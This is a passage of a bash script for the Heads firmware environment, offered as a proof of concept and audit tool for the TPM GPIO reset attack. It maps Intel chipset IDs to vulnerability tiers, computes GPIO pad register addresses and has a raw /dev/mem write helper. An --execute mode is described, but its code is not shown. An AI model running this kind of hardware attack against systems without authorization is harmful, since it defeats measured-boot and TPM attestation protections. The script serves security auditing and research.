and improve platform security +# +# Misuse of this script to bypass security measures on systems you do not +# own or have explicit authorization to test is illegal and unethical. +# +# ============================================================================ + +# Heads initrd script. Uses bash for /dev/mem access via dd. +# Sources /etc/functions.sh for standard logging functions (INFO, WARN, DIE, +# STATUS, STATUS_OK, DEBUG, NOTE). +# +# NOTE: On ADL-P platforms (NovaCustom NV4x, Nitropad NS50), the P2SB bridge +# is hidden by FSP-S firmware. The GPIO pad config registers at 0xFD000000+ +# are accessible via /dev/mem if CONFIG_STRICT_DEVMEM=n (Heads default), but +# the PADCFGLOCK register may block writes to GPP_B13. If the register value +# after write differs from the expected value, see the PADCFGLOCK and +# PADCFGLOCKTX debug output for lock status. + +set -eo pipefail + +# shellcheck source=/dev/null +. /etc/functions.sh + +# ---- Named constants --------------------------------------------------- + +GPIO_ASSERT_VALUE=0x80000000 +GPIO_NF1_VALUE=0x40000401 +TPM_NVRAM_TOTP_INDEX=0x4d47 +DEFAULT_PCR_ALGO="sha256" +ESPI_CHECK_PORT=0xC7 +PADCFGLOCK_STRIDE=8 + +# ---- Global variables ------------------------------------------------- + +SCRIPT_NAME="${0##*/}" + +# Platform detection is via PCI device ID of the ISA/LPC bridge (class 0x0601). +# Mechanism-specific parameters (GPIO pad numbers, PCR ports, etc.) are +# hardcoded in the detect_platform() case statement below. + +# ---- Helper functions (thin wrappers around Heads logging) ------------ + +# Print a section header using STATUS +section() { + TRACE_FUNC + STATUS "======================================================================" + STATUS " $*" + STATUS "======================================================================" +} + +# Read a 32-bit value from physical memory via /dev/mem +# Usage: mem_read32 +# Returns: decimal value +mem_read32() { + TRACE_FUNC + _addr="$1" + # BusyBox does not ship od (CONFIG_OD=n). Use xxd which is available. + dd if=/dev/mem bs=4 count=1 skip="$(( _addr / 4 ))" 2>/dev/null | xxd -p +} + +# Write a 32-bit value to physical memory via /dev/mem (32-bit aligned write). +# Usage: mem_write32 +# Verifies write with readback — WARNs on mismatch. +mem_write32() { + TRACE_FUNC + _addr="$1" + _val="$2" + _skip=$(( _addr / 4 )) + DEBUG "mem_write32 addr=0x$(printf '%x' $_addr) val=0x$(printf '%x' $_val)" + # Write 4 bytes in little-endian order via printf '%b' with \xHH escapes. + # Each byte is a separate printf argument to safely pass NUL bytes. + printf '%b' \ + "\\x$(printf '%02x' $(( _val & 0xff )))" \ + "\\x$(printf '%02x' $(( (_val >> 8) & 0xff )))" \ + "\\x$(printf '%02x' $(( (_val >> 16) & 0xff )))" \ + "\\x$(printf '%02x' $(( (_val >> 24) & 0xff )))" | \ + dd of=/dev/mem bs=4 count=1 seek="$_skip" 2>/dev/null + # Verify: read back the 4 bytes — xxd -p outputs bytes in LE memory order + _read=$(dd if=/dev/mem bs=4 count=1 skip="$_skip" 2>/dev/null | xxd -p | tr -d '\n ') + DEBUG " readback: 0x$_read" + # xxd outputs LE bytes (e.g. 0x80000000 -> "00000080"). Rearrange for comparison. + _expected_le=$(printf '%02x' $(( _val & 0xff )))$(printf '%02x' $(( (_val >> 8) & 0xff )))$(printf '%02x' $(( (_val >> 16) & 0xff )))$(printf '%02x' $(( (_val >> 24) & 0xff ))) + if [ "$_read" != "$_expected_le" ]; then + DEBUG " MMIO write mismatch at 0x$(printf '%x' $_addr): wrote 0x$(printf '%08x' $_val), read 0x$_read (likely locked by PADCFGLOCK)" + fi +} + + + +# ---- Attack explanation header ---------------------------------------- + +print_banner() { + TRACE_FUNC + section "TPM GPIO RESET ATTACK -- Proof of Concept / Platform Audit Tool" + INFO " This tool checks whether your platform is affected by the TPM GPIO" + INFO " reset attack (coreboot ticket #576, mkukri.xyz 2024-06-01)." + INFO "" + INFO " --audit, -a Safe audit: detect platform, report vulnerability" + INFO " --execute,--exec,-x Perform GPIO hardware reset and measurement replay" + INFO " --help,-h Show this help" +} + +# Compact header for audit mode (after platform detection) +print_audit_header() { + TRACE_FUNC + INFO "TPM GPIO Reset Audit -- platform: $GLOBAL_PCH ($_dev_id)" +} + +# ---- Platform detection ----------------------------------------------- +# +# Platform detection uses the PCI device ID of the ISA/LPC bridge (class +# 0x0601, typically device 00:1f.0 on Intel platforms). This is reliable +# across all Linux kernels and does not depend on CONFIG_BOARD or DMI data. + +_resolve_platform() { + TRACE_FUNC + _dev_id="" + _dev_name="" + + # Find ISA/LPC bridge (class 0x0601) via sysfs + for _dev in /sys/bus/pci/devices/*/; do + [ -r "${_dev}class" ] || continue + _class=$(cat "${_dev}class" 2>/dev/null) + if [ "${_class%??}" = "0x0601" ]; then + _dev_id=$(cat "${_dev}device" 2>/dev/null) + _vendor=$(cat "${_dev}vendor" 2>/dev/null) + _dev_name=$(cat "${_dev}device" 2>/dev/null) + DEBUG "Matched ISA bridge: vendor=$_vendor device=$_dev_id class=$_class" + break + fi + done + + if [ -z "$_dev_id" ] || [ "$_vendor" != "0x8086" ]; then + DEBUG "No Intel ISA/LPC bridge found (device='$_dev_id' vendor='$_vendor')" + WARN " No Intel ISA/LPC bridge found (class 0x0601)." + GLOBAL_PCH="UNKNOWN" + return + fi + + INFO " ISA bridge device ID: $_dev_id" + DEBUG " ISA bridge: vendor $_vendor device $_dev_id" + + # Match device ID against known PCH families. + # Device IDs from kukrimate/tpm-gpio-fail reset/inteltool.c and + # coreboot src/soc/intel/ headers. + case "$_dev_id" in + # Sunrise Point (SPT) -- Skylake (6th gen), VULNERABLE + # GPP_B13 is global pad 37 (GPP_A0=0..23, GPP_B0=24, GPP_B13=37) + # port=0xaf PAD_CFG_BASE=0x400 + 0xa143|0xa144|0xa145|0xa146|0xa147|0xa148|0xa149|0xa14a|0xa14d|0xa14e|0xa150|0xa152|0xa153|0xa154) + GLOBAL_PCH="SPT_KBP" + COMMUNITY_PORT=0xaf; PLTRST_PAD=37; FIRST_PAD=0 + PAD_CFG_BASE=0x400; NUM_PAD_CFG_REGS=2 + DEBUG "SPT (Skylake 6th gen) device=$_dev_id pad=37 port=0xaf" ;; + # Comet Lake Desktop (CML-DT) -- B460, H410, H470, Z490 (10th gen desktop), VULNERABLE + # GPP_B13 (COMM_0, local idx 13) port=0xaf PAD_CFG_BASE=0x400 + # PADCFGLOCK at offset 0xA8 (same as SPT global). Same port as SPT but different PCH generation. + 0x0684|0x0685|0x0686|0x0687|0x0688|0x0689|0x068a|0x068b|0x068c|0x068d|0x068e|0x068f) + GLOBAL_PCH="CML_DT" + COMMUNITY_PORT=0xaf; PLTRST_PAD=37; FIRST_PAD=0 + PAD_CFG_BASE=0x400; NUM_PAD_CFG_REGS=2 + DEBUG "CML-DT (Comet Lake Desktop 10th gen) device=$_dev_id pad=37 port=0xaf" ;; + # Kaby Point (KBP) -- Kaby Lake (7th gen), VULNERABLE + # GPP_B13 is global pad 37 port=0xaf PAD_CFG_BASE=0x400 + 0xa2c4|0xa2c5|0xa2c6|0xa2c7|0xa2c8|0xa2c9|0xa2ca|0xa2d2) + GLOBAL_PCH="SPT_KBP" + COMMUNITY_PORT=0xaf; PLTRST_PAD=37; FIRST_PAD=0 + PAD_CFG_BASE=0x400; NUM_PAD_CFG_REGS=2 + DEBUG "KBP (Kaby Lake 7th gen) device=$_dev_id pad=37 port=0xaf" ;; + # Tiger Lake (TGL) -- 11th gen mobile/desktop, VULNERABLE + # PADCFGLOCK at offset 0x80 per Intel doc 834810. + # Device IDs from coreboot/src/soc/intel/tigerlake/ + 0xa082|0xa083|0xa084|0xa085|0xa086|0xa087|0xa088|0xa089|0xa08a|0xa08b|0xa08c|0xa08d|0xa08e|0xa08f|0xa0a0|0xa0a1|0xa0a2|0xa0a3|0xa0a4|0xa0a5|0xa0a6|0xa0a7) + GLOBAL_PCH="TGL" + COMMUNITY_PORT=0x6e; PLTRST_PAD=13; FIRST_PAD=0 + PAD_CFG_BASE=0x700; NUM_PAD_CFG_REGS=4 + DEBUG "TGL (Tiger Lake 11th gen) device=$_dev_id port=0x6e pad=13" ;; + # Coffee Lake S/H (CFL-S) -- Z390, H310, H370, B360, Q370, C242, C246 (8th/9th gen desktop), VULNERABLE + # GPP_B13 (COMM_0, local idx 13) port=0x6e PAD_CFG_BASE=0x600 + # PADCFGLOCK at offset 0x88 per Intel doc 834810. + 0xa303|0xa304|0xa305|0xa306|0xa307|0xa308|0xa309|0xa30a|0xa30b|0xa30c|0xa30d|0xa30e) + GLOBAL_PCH="CFL_S" + COMMUNITY_PORT=0x6e; PLTRST_PAD=13; FIRST_PAD=0 + PAD_CFG_BASE=0x600; NUM_PAD_CFG_REGS=4 + DEBUG "CFL-S (Coffee Lake S/H) device=$_dev_id port=0x6e pad=13" ;; + # Comet Lake U (CML-U) -- 10th gen mobile (400-series PCH), VULNERABLE + # GPP_B13 (COMM_0, local idx 13) port=0x6e PAD_CFG_BASE=0x600 + # Has PADCFGLOCK at offset 0x88 (different from CNP-LP which has none). + # Device IDs per Intel doc 834810. + 0x0660|0x0661) + GLOBAL_PCH="CML_U" + COMMUNITY_PORT=0x6e; PLTRST_PAD=13; FIRST_PAD=0 + PAD_CFG_BASE=0x600; NUM_PAD_CFG_REGS=4 + DEBUG "CML-U (Comet Lake U 10th gen) device=$_dev_id port=0x6e pad=13" ;; + # Cannon Point LP (CNP-LP) -- Kaby Lake-R / Whiskey Lake / Comet Lake U (300-series), VULNERABLE + # GPP_B13 (COMM_0, local idx 38) port=0x6e PAD_CFG_BASE=0x600 + # No PADCFGLOCK register exists on CNL-LP -- pad_cfg_lock_offset=0. + # UNTESTED -- kukri's PoC does not support this PCH family. + # Some Comet Lake U steppings (0x9d8* range) have PADCFGLOCK at 0x88. + # Only 0x9d84 (CNP-LP proper) is confirmed to lack the register. + 0x9d84|0x9d85|0x9d86|0x9d87|0x9d88|0x9d89|0x9d8a|0x9d8b|0x9d8c|0x9d8d|0x9d8e|0x9d8f) + GLOBAL_PCH="CNP_LP" + COMMUNITY_PORT=0x6e; PLTRST_PAD=38; FIRST_PAD=0 + PAD_CFG_BASE=0x600; NUM_PAD_CFG_REGS=4 + DEBUG "CNP-LP (Cannon Point LP) device=$_dev_id port=0x6e pad=38 dw0_offset=0x$(printf '%x' $(( 0x600 + 38*16 )))" ;; + # Alder Lake-P (mobile) -- ADL-P, VULNERABLE + # GPP_B13 (COMM_0, local idx 13) port=0x6e PAD_CFG_BASE=0x700 LOCK_BASE=0x80 + 0x5180|0x5181|0x5182|0x5183|0x5184|0x5185|0x5186|0x5187|0x5188|0x5189|0x518a|0x518b|0x518c|0x518d|0x518e|0x518f) + GLOBAL_PCH="ADL_P" + COMMUNITY_PORT=0x6e; PLTRST_PAD=13; FIRST_PAD=0 + PAD_CFG_BASE=0x700; NUM_PAD_CFG_REGS=4 + DEBUG "ADL-P (mobile 12th gen) device=$_dev_id port=0x6e offset=0x7D0" ;; + # Raptor Lake-P (mobile) -- RPL-P, VULNERABLE + # GPP_B13 (COMM_0, local idx 13) port=0x6d PAD_CFG_BASE=0x700 LOCK_BASE=0x110 + 0x5190|0x5191|0x5192|0x5193|0x5194|0x5195|0x5196|0x5197|0x5198|0x5199|0x519a|0x519b|0x519c|0x519d|0x519e|0x519f) + GLOBAL_PCH="RPL_P" + COMMUNITY_PORT=0x6d; PLTRST_PAD=13; FIRST_PAD=0 + PAD_CFG_BASE=0x700; NUM_PAD_CFG_REGS=4 + DEBUG "RPL-P (mobile 13th gen) device=$_dev_id port=0x6d offset=0x7D0" ;; + # Alder Lake-S (desktop) -- ADL-S, VULNERABLE + # GPP_B13 (COMM_1, local idx 13) port=0x6d PAD_CFG_BASE=0x700 LOCK_BASE=0x110 + 0x7a80|0x7a81|0x7a82|0x7a83|0x7a84|0x7a85|0x7a86|0x7a87|0x7a88|0x7a89|0x7a8a|0x7a8b|0x7a8c) + GLOBAL_PCH="ADL_S" + COMMUNITY_PORT=0x6d; PLTRST_PAD=13; FIRST_PAD=0 + PAD_CFG_BASE=0x700; NUM_PAD_CFG_REGS=4 + DEBUG "ADL-S (desktop 12th gen) device=$_dev_id port=0x6d offset=0x7D0" ;; + # Meteor Lake (MTL) -- Core Ultra Series 1+, NOT VULNERABLE + # Functional GPIO lock via SOC_INTEL_COMMON_BLOCK_GPIO_LOCK_USING_PCR. + # PCH device IDs from coreboot src/soc/intel/meteorlake/ (GPL-2.0). + 0x7e00|0x7e01|0x7e02|0x7e03|0x7e04|0x7e05|0x7e06|0x7e07) + GLOBAL_PCH="MTL" + DEBUG "MTL (Meteor Lake) device=$_dev_id -- functional GPIO lock" ;; + # Raptor Lake-S (desktop) -- RPL-S, VULNERABLE + # GPP_B13 (COMM_1, local idx 13) port=0x6d PAD_CFG_BASE=0x700 LOCK_BASE=0x110 + 0x7a0c|0x7a0d|0x7a0e|0x7a0f|0x7a10|0x7a11|0x7a12|0x7a13|0x7a14|0x7a15|0x7a16|0x7a17) + GLOBAL_PCH="RPL_S" + COMMUNITY_PORT=0x6d; PLTRST_PAD=13; FIRST_PAD=0 + PAD_CFG_BASE=0x700; NUM_PAD_CFG_REGS=4 + DEBUG "RPL-S (desktop 13th/14th gen) device=$_dev_id port=0x6d offset=0x7D0" ;; + # Arrow Lake S (ARL-S) -- 15th gen desktop, VULNERABILITY UNCERTAIN + # GPP_B13 (COMM_1, local idx 13) port=0x6d PAD_CFG_BASE=0x700 + # PADCFGLOCK at offset 0x120 per Intel doc 834810. + 0x7e20|0x7e21|0x7e22|0x7e23|0x7e24|0x7e25|0x7e26|0x7e27|0x7e28|0x7e29|0x7e2a|0x7e2b|0x7e2c|0x7e2d|0x7e2e|0x7e2f) + GLOBAL_PCH="ARL_S" + COMMUNITY_PORT=0x6d; PLTRST_PAD=13; FIRST_PAD=0 + PAD_CFG_BASE=0x700; NUM_PAD_CFG_REGS=4 + DEBUG "ARL-S (Arrow Lake S 15th gen) device=$_dev_id port=0x6d offset=0x7D0" ;; + *) + GLOBAL_PCH="UNKNOWN" + DEBUG "Device ID $_dev_id not in known PCH tables" ;; + esac + DEBUG "Device ID $_dev_id resolved to GLOBAL_PCH=$GLOBAL_PCH" + + GLOBAL_DEV_ID="$_dev_id" + DEBUG "Final platform: GLOBAL_PCH=$GLOBAL_PCH COMMUNITY_PORT=$(printf "0x%x" $COMMUNITY_PORT 2>/dev/null)" +} + +detect_platform() { + TRACE_FUNC + section "1. PLATFORM DETECTION" + + _resolve_platform + DEBUG "detect_platform: GLOBAL_PCH=$GLOBAL_PCH NOT_VULNERABLE=$NOT_VULNERABLE" + + case "$GLOBAL_PCH" in + MTL) + STATUS_OK "Detected PCH: Meteor Lake (device $GLOBAL_DEV_ID)" + INFO " Meteor Lake has functional GPIO lock -- NOT VULNERABLE" + INFO " to the TPM GPIO reset attack." + NOT_VULNERABLE="y" + DEBUG "MTL platform: setting NOT_VULNERABLE=y" ;; + PRE_SKL) + STATUS_OK "Detected PCH: Pre-Skylake (device $GLOBAL_DEV_ID)" + INFO " Pre-Skylake platforms have a dedicated PLTRST pin that" + INFO " cannot be reprogrammed via GPIO. NOT VULNERABLE." + NOT_VULNERABLE="y" + DEBUG "PRE_SKL platform: setting NOT_VULNERABLE=y" ;; + CML_U) + STATUS_OK "Detected PCH: Comet Lake U (CML-U) -- device $GLOBAL_DEV_ID" + MECHANISM="GPIO_PAD_CFG" + INFO " Attack path: GPIO PAD_CFG (GPP_B13 pad, COMM_0, local idx 13)" + INFO " Port: $(printf "0x%x" $COMMUNITY_PORT) | PAD_CFG_BASE: $(printf "0x%x" $PAD_CFG_BASE)" + INFO " PADCFGLOCK offset: 0x88 (Intel doc 834810)" ;; + CNP_LP) + STATUS_OK "Detected PCH: Cannon Point LP (CNP-LP) -- device $GLOBAL_DEV_ID" + MECHANISM="GPIO_PAD_CFG" + INFO " Attack path: GPIO PAD_CFG (PLTRST_CPU_B pad 256, COMM_3, local idx $((PLTRST_PAD - FIRST_PAD)))" + INFO " Port: $(printf "0x%x" $COMMUNITY_PORT) | PAD_CFG_BASE: $(printf "0x%x" $PAD_CFG_BASE)" + INFO " UNTESTED -- kukri's PoC does not support CNP-LP. Community testing needed." ;; + SPT_KBP) + STATUS_OK "Detected PCH: Skylake/Kaby Lake (SPT/KBP) -- device $GLOBAL_DEV_ID" + MECHANISM="GPIO_PAD_CFG" + INFO " Attack path: GPIO PAD_CFG (GPP_B13 pad, COMM_0, local idx 13)" + INFO " Port: $(printf "0x%x" $COMMUNITY_PORT) | PAD_CFG_BASE: $(printf "0x%x" $PAD_CFG_BASE)" ;; + CML_DT) + STATUS_OK "Detected PCH: Comet Lake Desktop (CML-DT) -- device $GLOBAL_DEV_ID" + MECHANISM="GPIO_PAD_CFG" + INFO " Attack path: GPIO PAD_CFG (GPP_B13 pad, COMM_0, local idx 13)" + INFO " Port: $(printf "0x%x" $COMMUNITY_PORT) | PAD_CFG_BASE: $(printf "0x%x" $PAD_CFG_BASE)" + INFO " PADCFGLOCK offset: 0xA8 (Intel doc 834810)" ;; + TGL) + STATUS_OK "Detected PCH: Tiger Lake (TGL) -- device $GLOBAL_DEV_ID" + MECHANISM="GPIO_PAD_CFG" + INFO " Attack path: GPIO PAD_CFG (GPP_B13 pad, COMM_0, local idx 13)" + INFO " Port: $(printf "0x%x" $COMMUNITY_PORT) | PAD_CFG_BASE: $(printf "0x%x" $PAD_CFG_BASE)" + INFO " PADCFGLOCK offset: 0x80 (Intel doc 834810)" ;; + CFL_S) + STATUS_OK "Detected PCH: Coffee Lake S/H (CFL-S) -- device $GLOBAL_DEV_ID" + MECHANISM="GPIO_PAD_CFG" + INFO " Attack path: GPIO PAD_CFG (GPP_B13 pad, COMM_0, local idx 13)" + INFO " Port: $(printf "0x%x" $COMMUNITY_PORT) | PAD_CFG_BASE: $(printf "0x%x" $PAD_CFG_BASE)" + INFO " PADCFGLOCK offset: 0x88 (Intel doc 834810)" ;; + ADL_P) + STATUS_OK "Detected PCH: Alder Lake-P (mobile 12th gen) -- device $GLOBAL_DEV_ID" + MECHANISM="GPIO_PAD_CFG" + INFO " Attack path: GPIO PAD_CFG (GPP_B13 pad, local idx 13)" + INFO " Port: $(printf "0x%x" $COMMUNITY_PORT) | PAD_CFG_BASE: $(printf "0x%x" $PAD_CFG_BASE)" + INFO " PADCFGLOCK offset: 0x80 (bit 13 per coreboot gpio_defs.h)" ;; + RPL_P) + STATUS_OK "Detected PCH: Raptor Lake-P (mobile 13th gen) -- device $GLOBAL_DEV_ID" + MECHANISM="GPIO_PAD_CFG" + INFO " Attack path: GPIO PAD_CFG (GPP_B13 pad, local idx 13)" + INFO " Port: $(printf "0x%x" $COMMUNITY_PORT) | PAD_CFG_BASE: $(printf "0x%x" $PAD_CFG_BASE)" + INFO " PADCFGLOCK offset: 0x110 (bit 13 per coreboot gpio_defs_pch_s.h)" ;; + ADL_S|RPL_S) + STATUS_OK "Detected PCH: Alder/Raptor Lake-S (desktop) -- device $GLOBAL_DEV_ID" + MECHANISM="GPIO_PAD_CFG" + INFO " Attack path: GPIO PAD_CFG (GPP_B13 pad, local idx 13)" + INFO " Port: $(printf "0x%x" $COMMUNITY_PORT) | PAD_CFG_BASE: $(printf "0x%x" $PAD_CFG_BASE)" + INFO " PADCFGLOCK offset: 0x110 (bit 13 per coreboot gpio_defs_pch_s.h)" ;; + ARL_S) + STATUS_OK "Detected PCH: Arrow Lake S (ARL-S) -- device $GLOBAL_DEV_ID" + MECHANISM="GPIO_PAD_CFG" + INFO " Attack path: GPIO PAD_CFG (GPP_B13 pad, local idx 13)" + INFO " Port: $(printf "0x%x" $COMMUNITY_PORT) | PAD_CFG_BASE: $(printf "0x%x" $PAD_CFG_BASE)" + INFO " PADCFGLOCK offset: 0x120 (Intel doc 834810)" ;; + UNKNOWN) + DEBUG "Unknown platform GLOBAL_PCH=UNKNOWN, showing help" + DEBUG "" + WARN "Platform not recognized — unknown PCI device $GLOBAL_DEV_ID" + DEBUG "" + INFO " This script detects Intel PCH families by ISA/LPC bridge PCI device ID:" + INFO " - SPT (0xa14*) Skylake: GPP_B13 port=0xaf, PADCFGLOCK 0xA8" + INFO " - KBP (0xa2c*) Kaby Lake: GPP_B13 port=0xaf, PADCFGLOCK 0xA8" + INFO " - CML-DT (0x0684-0x068f) Comet Lake Desktop: GPP_B13 port=0xaf, PADCFGLOCK 0xA8" + INFO " - TGL (0xa08*/0xa0a*) Tiger Lake: GPP_B13 port=0x6e, PADCFGLOCK 0x80" + INFO " - CML_U (0x0660-0x0661) Comet Lake U: GPP_B13 port=0x6e, PADCFGLOCK 0x88" + INFO " - CFL_S (0xa303-0xa30e) Coffee Lake S/H: GPP_B13 port=0x6e, PADCFGLOCK 0x88" + INFO " - CNP-LP (0x9d84) Cannon Pt LP: PLTRST_CPU_B port=0x6b, no PADCFGLOCK register" + INFO " - ADL-P (0x518*) 12th gen: GPP_B13 port=0x6e, PADCFGLOCK 0x80" + INFO " - RPL-P (0x519*) 13th gen: GPP_B13 port=0x6d, PADCFGLOCK 0x110" + INFO " - ADL-S (0x7a8*) 12th gen: GPP_B13 port=0x6d, PADCFGLOCK 0x110" + INFO " - RPL-S (0x7a0*) 13th gen: GPP_B13 port=0x6d, PADCFGLOCK 0x110" + INFO " - ARL-S (0x7e2*) Arrow Lake: GPP_B13 port=0x6d, PADCFGLOCK 0x120" + INFO " - MTL (0x7e00-0x7e07) Core Ultra 1+: GPIO lock infrastructure compiled, per-pad enforcement unconfigured" + DEBUG "" + PLATFORM_UNKNOWN="y" + DEBUG "Setting PLATFORM_UNKNOWN=y" ;; + esac + + # ---- 3-tier vulnerability classification for audit mode ---- + if [ "$AUDIT_MODE" = "y" ] && [ "$PLATFORM_UNKNOWN" != "y" ]; then + STATUS " VULNERABILITY CLASSIFICATION" + case "$GLOBAL_PCH" in + SPT_KBP|CML_DT) + INFO " TIER 1 -- VULNERABLE (confirmed): SPT/KBP/CML-DT (T480, M900, B460, etc.)" + INFO " Mechanism confirmed working by kukri. Pad unlocked, attack feasible." ;; + TGL) + INFO " TIER 2 -- VULNERABLE (unconfirmed): TGL (Tiger Lake 11th gen)" + INFO " PADCFGLOCK at 0x80 per Intel doc, BUT no community test data." + INFO " Community testing needed." ;; + CFL_S) + INFO " TIER 2 -- VULNERABLE (unconfirmed): CFL-S (Z390, H310, etc.)" + INFO " PADCFGLOCK at 0x88 per Intel doc 834810, BUT no community test data." + INFO " Community testing needed." ;; + CML_U) + INFO " TIER 2 -- VULNERABLE (unconfirmed): CML-U (Comet Lake U 10th gen)" + INFO " PADCFGLOCK at 0x88 per Intel doc, BUT no community test data." + INFO " Community testing needed." ;; + CNP_LP) + INFO " TIER 2 -- VULNERABLE (unconfirmed): CNP-LP (T480s)" + INFO " Pad unlocked, mechanism theoretically works but NO hardware test data exists." + INFO " kukri's PoC does not support this PCH family. Community testing needed." ;; + ADL_P|RPL_P) + INFO " TIER 3 -- VULNERABILITY UNCERTAIN: ADL-P 0x5182 (NV4x, NS50), RPL-P" + INFO " GPIO lock is absent, writes verified, but PLTRST# assertion NOT confirmed" + INFO " on this PCH die. PCRs remain non-zero after toggle on NV4x ADL-P." + INFO " Physical scope verification needed. May not be electrically connected." ;; + ADL_S|RPL_S|ARL_S) + INFO " TIER 3 -- VULNERABILITY UNCERTAIN: ADL-S/RPL-S/ARL-S desktop" + INFO " GPIO lock is absent, writes verified, but PLTRST# assertion NOT confirmed" + INFO " on these desktop PCH dies. Community testing needed." ;; + MTL) + INFO " NOT VULNERABLE -- MTL (V540TU/V560TU):" + INFO " PCR GPIO lock Kconfig selected, FSP PchUnlockGpioPads=1." + INFO " eSPI-connected TPM (Infineon SLB 9672). GPIO PLTRST# manipulation" + INFO " does not apply to eSPI/LPC-connected TPMs." ;; + PRE_SKL) + INFO " NOT VULNERABLE -- Pre-Skylake (T420, T430, X220, X230, etc.):" + INFO " Dedicated PLTRST# hardware pin. No GPIO vector exists." ;; + esac + fi + + DEBUG "detect_platform: POST case: MECHANISM=$MECHANISM PLATFORM_UNKNOWN=$PLATFORM_UNKNOWN" + + # Bail early for non-vulnerable platforms + if [ "$NOT_VULNERABLE" = "y" ]; then + DEBUG "NOT_VULNERABLE=y: exiting early with status 0" + STATUS " This platform is NOT vulnerable to the TPM GPIO reset attack." + INFO " Exiting." + exit 0 + fi +} + +# ---- Register address calculation ------------------------------------- + +calculate_registers() { + TRACE_FUNC + section "2. REGISTER ADDRESS CALCULATION" + + if [ "$PLATFORM_UNKNOWN" = "y" ]; then + DEBUG "Platform unknown, skipping register calculation" + INFO "Platform unknown; skipping register calculation." + return + fi + + # Dynamic SBREG_BAR from P2SB (only on SPT/KBP where P2SB is NOT MASKLOCK'd). + # Falls back to hardcoded values if P2SB is hidden or MASKLOCK'd. + DEBUG "GLOBAL_PCH=$GLOBAL_PCH GLOBAL_DEV_ID=$GLOBAL_DEV_ID" + if read_p2sb_sbreg_bar; then + DEBUG " SBREG_BAR from P2SB: PCR_BASE=0x$(printf '%x' $PCR_BASE)" + else + DEBUG " Using hardcoded PCR_BASE" + fi + + # Hardcoded PCR_BASE fallback per platform (verified from Intel GPIO Best + # Practices doc ID 834810 and coreboot Kconfig). Used when dynamic SBREG_BAR + # fails (P2SB hidden/MASKLOCK'd by FSP-S). + case "$GLOBAL_PCH" in + ADL_P|RPL_P) PCR_BASE=$(( 0xFD000000 )) ;; # Mobile: kukrimate pcr.c:164 + ADL_S|RPL_S) PCR_BASE=$(( 0xE0000000 )) ;; # Desktop: kukrimate pcr.c:186 + SPT_KBP|CML_DT) PCR_BASE=$(( 0xFD000000 )) ;; + TGL) PCR_BASE=$(( 0xFD000000 )) ;; + CML_U) PCR_BASE=$(( 0xFD000000 )) ;; + ARL_S) PCR_BASE=$(( 0xE0000000 )) ;; + CFL_S) PCR_BASE=$(( 0xFD000000 )) ;; + CNP_LP) PCR_BASE=$(( 0xFD000000 )) ;; + *) PCR_BASE=$(( 0xFD000000 )) + WARN " Unknown PCH, using default PCR_BASE=0xFD000000" ;; + esac + DEBUG "PCR_BASE=0x$(printf '%x' $PCR_BASE) (hardcoded per platform)" + + # All platforms use GPIO PAD_CFG registers via PCR MMIO. + # Pad number within community + PAD_OFFSET=$(( PLTRST_PAD - FIRST_PAD )) + DEBUG " Pad offset within community: $PLTRST_PAD - $FIRST_PAD = $PAD_OFFSET" + DEBUG "GPIO_PAD_CFG: pad=$PLTRST_PAD first=$FIRST_PAD offset=$PAD_OFFSET" + + # Each pad uses 16 bytes (4 DWORDS) + PAD_REG_SIZE=$(( NUM_PAD_CFG_REGS * 4 )) + DEBUG " Bytes per pad: $NUM_PAD_CFG_REGS DWORDS x 4 = $PAD_REG_SIZE bytes" + + # Register offset for DW0 of this pad within the community + PAD_DW0_OFFSET=$(( PAD_CFG_BASE + (PAD_OFFSET * PAD_REG_SIZE) )) + PAD_DW0_HEX=$(printf "0x%x" "$PAD_DW0_OFFSET") + DEBUG " DW0 register offset in community: $(printf "0x%x" $PAD_CFG_BASE) + ($PAD_OFFSET * $PAD_REG_SIZE) = $PAD_DW0_HEX" + + # Full physical address + COMMUNITY_BASE=$(( PCR_BASE + (COMMUNITY_PORT << 16) )) + COMMUNITY_BASE_HEX=$(printf "0x%x" "$COMMUNITY_BASE") + TARGET_ADDR=$(( COMMUNITY_BASE + PAD_DW0_OFFSET )) + TARGET_ADDR_HEX=$(printf "0x%x" "$TARGET_ADDR") + + DEBUG "GPIO PAD_CFG target: community_base=$COMMUNITY_BASE_HEX target_addr=$TARGET_ADDR_HEX" + + DEBUG " Register layout for pad $PLTRST_PAD:" + DEBUG " Community base (port $COMMUNITY_PORT): $COMMUNITY_BASE_HEX" + DEBUG " PAD_CFG_BASE offset within community: $(printf "0x%x" $PAD_CFG_BASE)" + DEBUG " Pad config DW0: $TARGET_ADDR_HEX" + DEBUG " Pad config DW1: $(printf "0x%x" $((TARGET_ADDR + 4)))" + DEBUG " Pad config DW2: $(printf "0x%x" $((TARGET_ADDR + 8)))" + DEBUG " Pad config DW3: $(printf "0x%x" $((TARGET_ADDR + 12)))" + + # 64-bit PCR_BASE overflow check + # BusyBox ash / dash use 32-bit signed arithmetic. If the dynamic + # SBREG_BAR (from P2SB BAR) is above 4GB (e.g., 0x5F_F000_0000 for + # Arrow Lake per Intel doc), the PCR_BASE calculation will overflow. + # Currently no Heads platform has SBREG_BAR above 4GB, but this is + # a documented limitation for future platforms. + _hi32=$(( (PCR_BASE >> 32) & 0xFFFFFFFF )) + if [ "$_hi32" != "0" ]; then + WARN " PCR_BASE overflows 32-bit arithmetic (hi32=$_hi32)." + WARN " Address calculations below will be WRONG." + WARN " BusyBox sh does not support 64-bit arithmetic." + fi + + DEBUG " DW0 bit fields (PAD_CFG0):" + DEBUG " [0] TX state (1=high, 0=low)" + DEBUG " [1] RX state (read-only)" + DEBUG " [8] TX disable" + DEBUG " [9] RX disable" + DEBUG " [13:10] Mode (0000=GPIO, 0001=NF1, ...)" + DEBUG " [31:30] Reset config (10=PLTRST)" +} + +# ---- Read current register configuration ------------------------------- + +read_pad_config() { + TRACE_FUNC + section "3. CURRENT REGISTER CONFIGURATION" + + if [ "$PLATFORM_UNKNOWN" = "y" ]; then + DEBUG "Platform unknown, skipping configuration read" + INFO "Platform unknown; skipping configuration read." + return + fi + + INFO " Attempting to read registers from physical memory..." + DEBUG "read_pad_config: MECHANISM=$MECHANISM TARGET_ADDR=$TARGET_ADDR_HEX" + DEBUG "" + + # Check that /dev/mem is accessible + if [ ! -r /dev/mem ]; then + DEBUG "/dev/mem not readable (expected on production kernels)" + INFO " /dev/mem is not readable. This is expected on most production" + INFO " kernels without CONFIG_STRICT_DEVMEM disabled." + DEBUG "" + INFO " To test on QEMU or a development kernel, boot with:" + INFO " iomem=relaxed" + INFO " or disable CONFIG_STRICT_DEVMEM." + DEBUG "" + INFO "Cannot read actual config. Showing expected values." + return + fi + + # All platforms use GPIO PAD_CFG registers via PCR MMIO 